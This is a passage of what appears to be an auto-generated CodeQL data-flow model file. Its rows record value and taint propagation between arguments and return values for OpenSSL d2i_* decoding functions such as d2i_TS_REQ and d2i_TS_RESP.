"", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", 